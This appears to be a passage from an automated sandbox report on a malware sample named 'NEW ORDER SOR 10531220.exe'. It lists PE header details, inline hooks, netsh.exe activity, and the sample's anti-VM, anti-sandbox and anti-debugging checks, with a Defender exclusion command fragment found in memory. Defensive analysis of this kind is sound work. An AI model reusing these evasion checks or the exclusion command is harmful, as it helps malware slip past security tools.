Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: NEW ORDER SOR 10531220.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: NEW ORDER SOR 10531220.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: netsh.pdb source: NEW ORDER SOR 10531220.exe, 00000003.00000002.310618621.0000000002E50000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: NEW ORDER SOR 10531220.exe, 00000003.00000002.306018733.00000000010C0000.00000040.00000001.sdmp, netsh.exe, 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: NEW ORDER SOR 10531220.exe, 00000003.00000002.310618621.0000000002E50000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: NEW ORDER SOR 10531220.exe, 00000003.00000002.306018733.00000000010C0000.00000040.00000001.sdmp, netsh.exe

Source: NEW ORDER SOR 10531220.exe

Static PE information: 0x9FBA10BA [Tue Dec 1 20:55:22 2054 UTC]

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00416950 push eax; retf	3_2_00416951
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041C167 push ebp; iretd	3_2_0041C16A
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00417237 push es; retf	3_2_00417238
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00416BCC push cs; retf	3_2_00416BD4
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0040E394 push ebp; ret	3_2_0040E395
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00416486 push ecx; retf	3_2_0041648C
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041DD91 push edi; ret	3_2_0041DD93
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041DE8C push FFFFFF81h; ret	3_2_0041DE8F
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041CEB5 push eax; ret	3_2_0041CF08
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041CF6C push eax; ret	3_2_0041CF72
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041CF02 push eax; ret	3_2_0041CF08
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041CF0B push eax; ret	3_2_0041CF72
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_004077BF pushfd ; retf	3_2_004077C0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D9D0D1 push ecx; ret	15_2_00D9D0E4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00186950 push eax; retf	15_2_00186951
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018C167 push ebp; iretd	15_2_0018C16A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00187237 push es; retf	15_2_00187238
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0017E394 push ebp; ret	15_2_0017E395
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00186BCC push cs; retf	15_2_00186BD4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00186486 push ecx; retf	15_2_0018648C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018DD91 push edi; ret	15_2_0018DD93
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018DE8C push FFFFFF81h; ret	15_2_0018DE8F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018CEB5 push eax; ret	15_2_0018CF08
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018CF0B push eax; ret	15_2_0018CF72
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018CF02 push eax; ret	15_2_0018CF08
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018CF6C push eax; ret	15_2_0018CF72
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_001777BF pushfd ; retf	15_2_001777C0

Source: initial sample

Static PE information: section name: .text entropy: 7.87523328982

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8A 0xAE 0xE0

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW ORDER SOR 10531220.exe PID: 3756, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000001798E4 second address: 00000000001798EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 0000000000179B5E second address: 0000000000179B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Code function: 3_2_00409A90 rdtsc

3_2_00409A90

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe TID: 4988	Thread sleep time: -104379s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe TID: 2964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6292	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe TID: 7092	Thread sleep time: -55000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Thread delayed: delay time: 104379			Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000005.00000000.272356780.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000000.255542441.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.271861542.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000005.00000002.503945034.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000005.00000000.272500870.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000005.00000000.263138702.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000005.00000000.271861542.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.271861542.0000000008270000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.272500870.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000005.00000000.271861542.0000000008270000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Code function: 3_2_00409A90 rdtsc

3_2_00409A90

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Code function: 3_2_0040ACD0 LdrLoadDll,

3_2_0040ACD0

Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov eax, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov ecx, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov eax, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov eax, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov eax, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDB8D0 mov eax, dword ptr fs:[00000030h]	15_2_00DDB8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E014FB mov eax, dword ptr fs:[00000030h]	15_2_00E014FB
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6CF0 mov eax, dword ptr fs:[00000030h]	15_2_00DC6CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6CF0 mov eax, dword ptr fs:[00000030h]	15_2_00DC6CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6CF0 mov eax, dword ptr fs:[00000030h]	15_2_00DC6CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18CD6 mov eax, dword ptr fs:[00000030h]	15_2_00E18CD6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D458EC mov eax, dword ptr fs:[00000030h]	15_2_00D458EC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5849B mov eax, dword ptr fs:[00000030h]	15_2_00D5849B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49080 mov eax, dword ptr fs:[00000030h]	15_2_00D49080
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC3884 mov eax, dword ptr fs:[00000030h]	15_2_00DC3884
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC3884 mov eax, dword ptr fs:[00000030h]	15_2_00DC3884
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7F0BF mov ecx, dword ptr fs:[00000030h]	15_2_00D7F0BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7F0BF mov eax, dword ptr fs:[00000030h]	15_2_00D7F0BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7F0BF mov eax, dword ptr fs:[00000030h]	15_2_00D7F0BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D890AF mov eax, dword ptr fs:[00000030h]	15_2_00D890AF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0 mov eax, dword ptr fs:[00000030h]	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D60050 mov eax, dword ptr fs:[00000030h]	15_2_00D60050
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D60050 mov eax, dword ptr fs:[00000030h]	15_2_00D60050
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDC450 mov eax, dword ptr fs:[00000030h]	15_2_00DDC450
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDC450 mov eax, dword ptr fs:[00000030h]	15_2_00DDC450
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E02073 mov eax, dword ptr fs:[00000030h]	15_2_00E02073
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E11074 mov eax, dword ptr fs:[00000030h]	15_2_00E11074
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A44B mov eax, dword ptr fs:[00000030h]	15_2_00D7A44B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6746D mov eax, dword ptr fs:[00000030h]	15_2_00D6746D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7016 mov eax, dword ptr fs:[00000030h]	15_2_00DC7016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7016 mov eax, dword ptr fs:[00000030h]	15_2_00DC7016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7016 mov eax, dword ptr fs:[00000030h]	15_2_00DC7016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6C0A mov eax, dword ptr fs:[00000030h]	15_2_00DC6C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6C0A mov eax, dword ptr fs:[00000030h]	15_2_00DC6C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6C0A mov eax, dword ptr fs:[00000030h]	15_2_00DC6C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6C0A mov eax, dword ptr fs:[00000030h]	15_2_00DC6C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01C06 mov eax, dword ptr fs:[00000030h]	15_2_00E01C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E1740D mov eax, dword ptr fs:[00000030h]	15_2_00E1740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E1740D mov eax, dword ptr fs:[00000030h]	15_2_00E1740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E1740D mov eax, dword ptr fs:[00000030h]	15_2_00E1740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E14015 mov eax, dword ptr fs:[00000030h]	15_2_00E14015
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E14015 mov eax, dword ptr fs:[00000030h]	15_2_00E14015
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7002D mov eax, dword ptr fs:[00000030h]	15_2_00D7002D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7002D mov eax, dword ptr fs:[00000030h]	15_2_00D7002D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7002D mov eax, dword ptr fs:[00000030h]	15_2_00D7002D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7002D mov eax, dword ptr fs:[00000030h]	15_2_00D7002D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7002D mov eax, dword ptr fs:[00000030h]	15_2_00D7002D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7BC2C mov eax, dword ptr fs:[00000030h]	15_2_00D7BC2C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5B02A mov eax, dword ptr fs:[00000030h]	15_2_00D5B02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5B02A mov eax, dword ptr fs:[00000030h]	15_2_00D5B02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5B02A mov eax, dword ptr fs:[00000030h]	15_2_00D5B02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5B02A mov eax, dword ptr fs:[00000030h]	15_2_00D5B02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0FDE2 mov eax, dword ptr fs:[00000030h]	15_2_00E0FDE2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0FDE2 mov eax, dword ptr fs:[00000030h]	15_2_00E0FDE2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0FDE2 mov eax, dword ptr fs:[00000030h]	15_2_00E0FDE2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0FDE2 mov eax, dword ptr fs:[00000030h]	15_2_00E0FDE2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov eax, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov eax, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov eax, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov ecx, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov eax, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC6DC9 mov eax, dword ptr fs:[00000030h]	15_2_00DC6DC9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DF8DF1 mov eax, dword ptr fs:[00000030h]	15_2_00DF8DF1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4B1E1 mov eax, dword ptr fs:[00000030h]	15_2_00D4B1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4B1E1 mov eax, dword ptr fs:[00000030h]	15_2_00D4B1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4B1E1 mov eax, dword ptr fs:[00000030h]	15_2_00D4B1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DD41E8 mov eax, dword ptr fs:[00000030h]	15_2_00DD41E8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5D5E0 mov eax, dword ptr fs:[00000030h]	15_2_00D5D5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5D5E0 mov eax, dword ptr fs:[00000030h]	15_2_00D5D5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72990 mov eax, dword ptr fs:[00000030h]	15_2_00D72990
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7FD9B mov eax, dword ptr fs:[00000030h]	15_2_00D7FD9B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7FD9B mov eax, dword ptr fs:[00000030h]	15_2_00D7FD9B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E105AC mov eax, dword ptr fs:[00000030h]	15_2_00E105AC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E105AC mov eax, dword ptr fs:[00000030h]	15_2_00E105AC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A185 mov eax, dword ptr fs:[00000030h]	15_2_00D7A185
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6C182 mov eax, dword ptr fs:[00000030h]	15_2_00D6C182
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72581 mov eax, dword ptr fs:[00000030h]	15_2_00D72581
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72581 mov eax, dword ptr fs:[00000030h]	15_2_00D72581
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72581 mov eax, dword ptr fs:[00000030h]	15_2_00D72581
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72581 mov eax, dword ptr fs:[00000030h]	15_2_00D72581
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D42D8A mov eax, dword ptr fs:[00000030h]	15_2_00D42D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D42D8A mov eax, dword ptr fs:[00000030h]	15_2_00D42D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D42D8A mov eax, dword ptr fs:[00000030h]	15_2_00D42D8A
